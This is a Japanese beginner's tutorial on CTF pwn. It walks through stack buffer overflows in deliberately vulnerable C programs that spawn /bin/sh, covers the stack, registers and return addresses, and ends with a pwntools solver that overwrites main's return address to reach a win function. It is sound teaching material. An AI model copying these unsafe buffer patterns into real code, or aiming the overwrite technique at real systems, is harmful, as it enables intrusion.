Pwn入門
どうもPwn初心者です.
この記事ではpwn
に入門し,CTF
の問題を解きながらreturn address
を上書きできるようになることを目標とします.
return address
を上書きできるようになれば,pwn
の超基本的な部分が分かるようになると思います.
return address
等の用語もできるだけ解説するつもりなのでぜひ暇な人は入門してってください.
誤り等に気づいた方は連絡いただけると助かります.
この記事は,東京高専プロコンゼミ① Advent Calendar 2023の記事です!良ければほかの人の記事も読んでみてください!
環境
- x86_64のLinux系(debian)の環境を想定
- コンパイラはgccを想定
Windowsをお使いの方はWSLを使うといいと思います.
環境
ここではx86_64(大体のPCはこのCPU)向けの解説をするのでArm(macbookとかで使われているCPU)の環境を使っている場合相違があります.
arm(macとか)の人はQEMUやvmwareを使い仮想環境を作りましょう.
コンパイラについてバージョンが違うとすこし相違があるかもしれませんが多分問題ないと思います.
一応投稿者のバージョンを張っておきます.
gcc version 13.2.0 (Debian 13.2.0-4)
gccが入っていない場合installしてください.
sudo apt install build-essential
第0章 CTFとはPwnとは
CTFとは
CTFとはセキュリティの大会です。問題サーバーの脆弱性をついたり,問題ファイルを解析することでFlagと呼ばれる文字列を入手するゲームのようなものです.
Flag{HE110_PWN4b1e}
- 暗号を復号したり (Crypto)
- 鯖で動いているアプリの脆弱性をついて鯖に侵入したり (Pwnable)
- Webアプリの脆弱性を見つけて機密情報を得たり (Web)
- 渡されたファイルを解析したり (Reversing)
とセキュリティとコンピュータの総合的な力が問われる大会のことです.
CTFは企業や個人が開催していて世界中でほぼ毎週CTFが開催されています.
イベント型のCTF
CTFといば基本的にイベント型のCTFのことを指すと思います.
時間制限があり,その時間内に解けた問題のポイントで他プレイヤーと競い合います.
例
- SECCON Beginners CTF
日本国内ではおそらく最大の初心者向けのイベント型のCTF
このイベント型CTFの予定は以下のページやCTFやってそうな人をフォローしておけば知ることができます.
常設CTF
その名の通りいつでも問題を解けるCTFです.
例
- picoCTF
初心者向けの常設CTFとしてpicoCTF
があります
https://play.picoctf.org/practice
Pwnとは
Pwnable(Pwn)
はCTFで出される問題のカテゴリの一つです.(picoCTF
ではBinary Exploitation
と呼ばれている.)
主にLinux向けにビルドされた脆弱性を持ったアプリがサーバーで動いており,そのアプリの脆弱性を突いて,サーバーを乗っ取る問題です.
簡単なCTFでは普通,実行形式のバイナリ
とそのソースコード
そして実際の鯖の情報(アドレスとポート)
が配布されます.
問題を解く手順は以下の通りです.
- 配布ファイルを見て,脆弱性を見つける
- 脆弱性を突いて攻撃するプログラム(ソルバー)を作る
- ソルバーを実行しサーバーを乗っ取り
FLAG
を取得する
第1章 簡単なスタックバッファオーバーフロー
CTFとは,Pwnとはなにか,なんとなく理解したところで,さっそくPwnに入門していきましょう.
まず基本の脆弱性stack buffer overflow
の簡単な問題を解いていきましょう.
#include <stdio.h>
int main() {
char a = 0xaa;
char buf[10] = {0};
printf("a: %p \nb: %p\n", &a, buf);
printf("What's your name: ");
fgets(buf, 20, stdin);
if (a != (char)0xaa) {
system("/bin/sh");
}
printf("HELLO CTF!, %s\n", buf);
return 0;
}
x86_64のLinux系(debian)の環境で以下のコマンドでコンパイルしてください.
Windowsをお使いの方はWSLを使うといいと思います.
gcc -o p1 p1.c
またgccが入っていないときはinstallしてください.
sudo apt install build-essential
環境
ここではx86_64(大体のPCはこのCPU)向けの解説をするのでArm(macbookとかで使われているCPU)の環境を使っている場合相違があります.
arm(macとか)の人はQEMUやvmwareを使い仮想環境を作りましょう.
実行するとローカル変数のアドレスが表示され,名前を聞かれます.
ソースコードを読めばわかる通りfgets
でユーザーからの入力をbuf
に最大で20文字書き込んでいます.
fgets(buf,20,stdin); // ユーザの入力を最大20文字bufに入れる
ここでbuf
の定義を見てみましょう
char buf[10];
おやおかしいですね.buf
は最大10文字しか格納できませんが,fgets
で20文字書き込めてしまいます.(null文字を含めて
どうなるのでしょうか.10文字はbuf
に入れられるとして,あふれた10文字はどうなるのでしょうか?
とりあえず10文字以上入力してみましょう.
a: 0x7ffd98bbb47f
b: 0x7ffd98bbb475
What's your name: 0123456789a
これはb
からあふれた文字によってa
の値が上書きされてしまったためです.
解説
これをより鮮明に理解するためにはまずローカル変数がどこに保存されるのかについて理解する必要があります.
ローカル変数の行方
まずローカル変数とは関数の中で定義されているstatic
でない変数のことです.
#include <stdio.h>
int main(){
int a; // ローカル変数
int b[10]; // ローカル変数
const int c = 2; // ローカル変数
static int d = 3; // not ローカル変数
printf("hello");
return;
}
ではこのローカル変数はどこに保存されているのでしょうか.
スタック
実はローカル変数はスタック
と呼ばれるメモリ領域に保存されます.
例えば問題のプログラムのローカル変数は示す図のようにスタックに保存されます.
int main(){
char a = 0xaa;
char buf[10] = {0};
/// 以下略
このようにローカル変数はスタックと呼ばれるメモリ領域に積むようにおかれていきます.
とりあえず今はスタックというメモリ領域にローカル変数は置かれているというのをイメージすればいいです.
あふれた文字はどこに行くのか
ローカル変数がどこに保存されるのか分かったところで,次にあふれた文字はどこに行ってしまうのかについて考えてみましょう.
ここで重要なのは配列にどの順番でデータが入っていくのかです.
実は上の図の通り配列には上から下にデータが入っていきます.
なので例えば以下のように文字を入力したときは下の図のようになります.
ではあふれるだけ文字を入力したらどうなるでしょうか.
上の図の通りfgets()
は改行と終端文字,合わせて2文字分を自動で入れてくれます.(指定した文字数内の場合.詳しくはhttps://www.ibm.com/docs/ja/i/7.3?topic=functions-fgets-read-string)
なので9文字を入力し改行すると(9文字
+'\n'+'\0')で11文字.これでbuf
からあふれる文字数がfgetsで入ってしまいます.この場合どうなるでしょうかやってみましょう.
シェルが取れました.この時のスタックは以下の通り.
そうです実は溢れてしまうと,この通りその分だけ別のデータが上書きされてしまうのです.
これにより変数a
の値が0(終端文字は0)になり,問題コード中の以下の条件を満たすようになり,system("/bin/sh");
が呼ばれるのです.
if (a != (char)0xaa) {
system("/bin/sh");
}
「スタックにあるバッファが溢れてしまう」この脆弱性をスタックバッファオーバーフロー
と言い,スタック上にあるデータを書き換えることができてしまうのです!
flag{yattane!stack_buffer_overflow}
第2章 リターンアドレスってなんだろう
この入門での最終目的は,このリターンアドレス
を第1章で理解した,スタックバッファオーバーフロー
で上書きすることです.
ですので次はこのリターンアドレス
とは何かについて学んでいきましょう.
まず,リターンアドレスとは,call
命令を実行したときに,スタックにpush
されるアドレスです.(これがわかっていればこの章は多分飛ばして問題ないです.)
わからない場合,その前に本当に少しだけアセンブリについて学んでいきましょう.
アセンブリ
少しだけアセンブリについて学んでいきましょう.
今は完璧に理解しなくてもいいので軽く読んでください.
簡単にしか説明しないのでもっと知りたい人はこの節の下にわかりやすいアセンブリの資料を張っているのでそこを見るといいと思います.
アセンブリとは
コンパイルすると実行するためのファイルが生成されますね.(この画像のp1が実行するためのファイル)
大雑把に言うとそれは機械語というCPUが実行できる命令の集まりになっています.
ですがこれは人間が読めるものではないです.なのでその機械語一つ一つに一対一で名前を付けてあげたのがアセンブリです.
例えば先ほどコンパイルしたp1
のアセンブリを見るためには以下のコマンドを実行しましょう.
objdump -M intel -d p1
アセンブリが見えたはずです.このように機械語をアセンブリに変換することを逆アセンブルといいます.
レジスタ
レジスタとはCPU内のメモリのことでいろんな演算に使われたり,関数に引数を渡す際に使用されたりします.
レジスタ一つ一つに名前がついています.
x86_64ではレジスタは8byte.(レジスタ一覧にあるようにそのレジスタの下位4byteなど一部を使うこともできる.)
レジスタ一覧.
一部のレジスタには役割があり,例えば
RSP
というレジスタには,先ほどのスタック
の一番上のアドレスが格納されます.
RBP
はスタック
の基準点として扱われます.
特にRIP
というレジスタには,次に実行する命令が保存されているメモリのアドレスが入っています(重要)
スタック
スタック領域とはメモリ領域のこと.特にスタック呼ばれるデータ構造のように扱われるのでスタックと呼ばれています.
スタック(データ構造)
スタックに関係するレジスタは以下の二つです.
-
rsp
レジスタ.スタックの先頭のアドレスが入っています -
rbp
レジスタ.スタックの基準となるアドレスが入っています
rbp
はスタックの基準点として使われます.
例えばp1
を逆アセンブルしたものを見ると以下のように基準点rbp
から-1の位置に0xaa
を置いていることがわかります.mov
命令は次の節を見てください.
また,スタックの先頭にデータを置くpush
,先頭からデータを取るpop
という命令があり,スタックと呼ばれるデータ構造のようにスタック領域を使うことができます.(次の節を参照してください.
命令
たくさんの命令がありますが一部を紹介します.
mov
右の値を,左のメモリまたはレジスタに保存する.
mov rax, 0 # raxはレジスタの一つ
上の例では,RAX
レジスタに0
を代入している.
push
スタックに8byte分データを入れる.
push rax
例では,RAX
レジスタに入っている値(8byte)をスタックの一番上に積む.
この時スタックの一番上が変わるためRSP
も変わる.(rsp=rsp-8となる.
pop
スタックから8byte分データをとる.
pop rax
例では,スタックの一番上に積まれているデータ(つまりRSPがさすデータ)をRAX
レジスタに入れる.
この時スタックの一番上が変わるためrsp
も変わる.(rsp=rsp+8となる.
pushの逆.
call
関数を呼び出す.
call 0x1234 # 関数のアドレス
実際にはRIP
レジスタに関数のアドレスを入れて,スタックにリターンアドレス
をpushしている.
ret
関数から出る.
ret
call命令と逆をやるようなものだと思えばわかりやすい.
スタックからリターンアドレス
をpopしてripに入れる.(つまりpop rip
これだけわかればこの記事では問題ないはずです
わかりやすいアセンブリの資料たち
わかりやすい資料を張っておきます.もっと知りたい,またはこの記事がよくわからなかったときはこれらの記事を見ましょう.とても分かりやすいです.
この記事では100%理解する必要はないのでこれらの資料を必要な時に見てください.
- 人間コンパイラコンテストのチュートリアル
- x86のやつだけどわかりやすいやつ
- レジスタ一覧
アセンブリについては上のやつを見れば大体わかると思います.
一応投稿主が書いたわかりやすいかは謎の資料も張っておきます.
- 分かりやすいかわからんけど投稿主が書いたやつ
リターンアドレス
ついに本命リターンアドレスとは何かです.といっても上の節を理解していれば簡単なはずです.
リターンアドレスとは,call
命令を実行したときスタックにpush
されるアドレスです.
では何のために存在するのでしょうか
何のためのリターンアドレス
それはret
命令でcall
を実行した元の場所に戻るためです
以下のようなプログラムを見てみましょう.
#include <stdio.h>
int win() {
printf("you win!\n");
return 0;
}
int main() {
printf("hello\n");
win();
return 0;
}
上のプログラムではmain
関数でwin
関数を呼び出していますがどうやってwin
関数からmain
関数に戻るのでしょうか.return 0;
を実行すれば戻るのはそうですが,「どこに戻る」というのはどこに保存しているのでしょうか.
そうですその,どこに戻るのかを示しているのがリターンアドレスなのです!
そしてそれは先ほども記したようにスタックに保存されています!
一応,それが本当か確かめるべくgdb
を使ってみましょう!
gdb
gdb
はデバッグするためのツールで,実際に動かしながら,プログラムの動作やスタックの様子などを見ることができます.
CTFでも確実に使います.ですがここでは使い方はほかの記事に任せます.
この記事中では使えなくても問題ないですが,pwnをやるなら絶対に,使えるようになる必要があるとおもいます.
gdb
デバッガのセットアップ等は以下の記事で紹介しています.
上段がレジスタの状態,
中段が実行しているアセンブリの内容(矢印が次に実行する命令を示している),
下段がスタックの内容です.
プログラムを進めてcall win
を実行しwin
関数の中に入ります.スタックの変化に注目してください.
するとどうでしょう.
確かにスタックに呼び出し元のmain
関数へのアドレスがスタックに入っていますね.
「やったー!リターンアドレスを理解したよ!」(投稿者が切望するみんなの声)
flag{yattane!_return_address!!!!!!!}
第3章 リターンアドレスオーバーライト
リターンアドレスオーバーライトreturn address overwrite
とはつまり最終目的であるリターンアドレスを上書きする攻撃のことです.
スタックにあるリターンアドレスをどうにかして上書きすることでret
命令を実行したときに任意の場所に処理を飛ばすことができるのです.
問題を解き実践していきましょう.
#include <stdio.h>
int win() {
asm volatile("mov $0,%spl"); // 問題簡単のためにここでrspを0x10境界にする.https://sok1.hatenablog.com/entry/2022/01/17/050710
printf("you win!\n");
system("/bin/sh");
return 0;
}
int main() {
char buf[16] = {0};
printf("win: %p\n\n", win);
printf("What's your name: ");
fgets(buf, 100, stdin);
printf("HELLO CTF!, %s\n", buf);
return 0;
}
以上のプログラムを以下のコマンドでコンパイルしてください.
gcc -fno-stack-protector p2.c -o p2
ここでは問題を簡単にするためコンパイラに-fno-stack-protector
というオプションをつけています.
オプションについて(今は読まなくてもいいです
-fno-stack-protector
はスタックにある値が上書きされたことを検知する仕組みを無効にするためのオプションです.
具体的にはリターンアドレスの前にcanary
と呼ばれる定数がセットされ,それが上書きされたら強制終了する仕組み.
今は簡単にするため無効化しているので,理解しなくても問題ないですが,CTFではこのcanary
をなんとかしてリークしたりすることが多いです.
win
関数を呼び出すことができれば勝ちですが、main
では呼ばれていません。
どのようにして解いていくのか、問題を解いていきましょう.
int main() {
char buf[16] = {0};
printf("win: %p\n\n", win);
printf("What's your name: ");
fgets(buf, 100, stdin);
/////// 略
まずおかしな点があることに気づきましたか?そうですね.
なんとbuf
が16文字分の配列なのに,fgets
で100文字も入れることができてしまいます!(第1章でやったとこだ!)
例のスタックバッファオーバーフロー
があります!これで何かを上書きするのですが,さあ何でしょうか?
そうですね.リターンアドレス
です.ではどこのリターンアドレス
でしょうか?
実はそれはmain
関数のリターンアドレスです.
mainのリターンアドレス.
実はmain
関数にもリターンアドレスがあります.gdbで確認してみましょう.
このようにmainにも戻る場所があり,mainも別の関数から呼び出されているのです.
ではやるべきことがわかりました.バッファオーバーフロー
でmain
関数のリターンアドレス
をwin
関数のアドレスで上書きしてしまえばいいのです.
するとmain
関数のret
が実行されたときにwin
が実行され勝利をつかむことができます!
では具体的にどう入力すればmain
関数のリターンアドレス
を上書きすることができるのでしょうか.
スタックの状態
ここでmain
関数のスタックの状態を確認しましょう.
このように,関数内ではまずpush rbp
でスタックにrbp
の値が積まれていることがわかります.その後sub rsp, 0x10
でRSP
から0x10(16)分引いてスタックを上に伸ばして,buf[16]をのメモリを確保しています.(sub
命令は引き算する命令,この場合.rsp=rsp-0x10
次にgdb
で確認してみましょう.
すると以上のようにリターンアドレス
が入っていることがわかります.これを図にすると以下の通り.
この図を見てわかるように,buf[0]からリターンアドレス
までの距離は24bytesです.
つまり,24文字適当な文字を入力してから,win
関数のアドレスを入力すると,リターンアドレス
がwin
関数のアドレスに書き換わり,その状態でmain
関数のret
命令が実行されると,win
関数を実行できる,というわけです!
問題を解く
解き方がわかったので,実際に問題を解いていきましょう.
解き方をまとめると以下の通りです.
- win関数のアドレスを手に入れる
- 24文字適当に入力
- win関数のアドレスを入力
ここで,win
関数のアドレスは実行するとプログラムが教えてくれます.(実行するたびに代わるので注意.
win関数のアドレスについて(今は読まなくてもいいです)
PIE
という実行形式になっていると毎回プログラムをメモリのランダムな位置にプログラムを配置するようになり,簡単には任意の場所に飛ばすことができなくなります.(デフォルトでPIEは有効なので今回の問題も関数アドレスが毎回変わる.)
https://miso-24.hatenablog.com/entry/2019/10/16/021321
https://qiita.com/0yoyoyo/items/85122f31ba8d14332e3d
ここ以外で問題を解く際にPIE
かどうか判別するには
checksec
というコマンドで確認しましょう.
ではこのwin
関数のアドレスで上書きしたいのですが,どうやって入力するのでしょうか..キーボードでは入力できませんし,毎回手打ちするのはめんどくさいですよね.
そこでpwnを解くときには良く,問題を解くためのプログラムが作られます.(このプログラムのことをsolver
と言ったりする.
そしてpwnを解くプログラムを書くときによく用いられるライブラリの1つにPwntools
というものがあります.
Pwntools
Pwntools
はpwnを解くためのsolverを書く際に使われるライブラリで,pythonのライブラリです.
以下のコマンドでインストールできます.
apt-get update
apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools
使い方についてはとても分かりやすい記事があるのでそれを都度確認しましょう.
では実際にsolver
を書いていきましょう!
まずライブラリを読み込み,process()
でプロセスとやり取りできるようにします.
from pwn import *
io = process('./p2')
次に,実行した際に表示されるwin
関数のアドレスを読み取るようにしていきましょう.
a=io.readline() # プロセスの出力した文字列から,一行読み取る
a=a[5:-1] # win: と \n を取り除く
今,変数win
は数字の文字列なのでintに変換しそしてそれをbytes型という型に変換してやります.
win=int(win,16) # intに変換
win=p64(win) # p64でintをbytes型に変換
次に,24文字とwin
関数のアドレスを入力する処理を書きます.
payload=b'A'*24+win # 24バイトのA(適当な文字)とwin
io.sendline(payload) # \nをつけて送信(入力)
最後にio.interactive()
で双方向に入力出力できるようにします.
io.interactive() # 対話モードに入る
できたsolverは以下の通り.
from pwn import *
io = process('./p2')
win=io.readline() # プロセスの出力した文字列から,一行読み取る
win=win[5:-1] # win: と \n を取り除く
win=int(win,16) # intに変換
win=p64(win) # p64でintをbytes型に変換
payload=b'A'*24+win # 24バイトのA(適当な文字)とwin
io.sendline(payload) # \nをつけて送信(入力)
io.interactive() # 対話モードに入る
実行してみましょう.
python3 solver.py
you win!
と表示されシェルが実行されました!!
ついに..ついにやりましたね!!!(歓喜)
flag{yatta~~!!pwn_pwn_pwn_pwn_ni_nyuumonda~~!!!omedetou!!}
やったね!!
最終章 これから
見事にリターンアドレスを上書きしてシェルを乗っ取ることができました!
この入門はここでおしまいです!
これからどうしましょう.なにをやるでもいいですが,例えば,今回のp2
では簡単のために-fno-stack-protector
というオプションでコンパイルしていました,それについて調べたり,GDB
について調べたり,x86_64
について学んだり..本当にやれることはたくさんあると思います!
CTFは広く楽しくPWNだけでなく暗号や,Web系の問題などもあります!そちらに入門するもよし!pwnを深めるもよしです!
どちらにせよ,強くなるにはCTFに出続け,調べて,学ぶということが必要不可欠です!
(調べる時は「〇〇ctf writeup」等で調べてると出てきます。)
この記事を読んでくれた皆様に,これからきっと楽しいCTFの毎日が待っていると願っています!
flag{yatta~~!!th4nk_y0u_f0r_re4d14ng!!!}
感謝
拙い文章でしたが,読んでいただきありがとうございました!
この記事は,東京高専プロコンゼミ① Advent Calendar 2023の記事です!良ければほかの人の記事も読んでみてください!!
さよなら!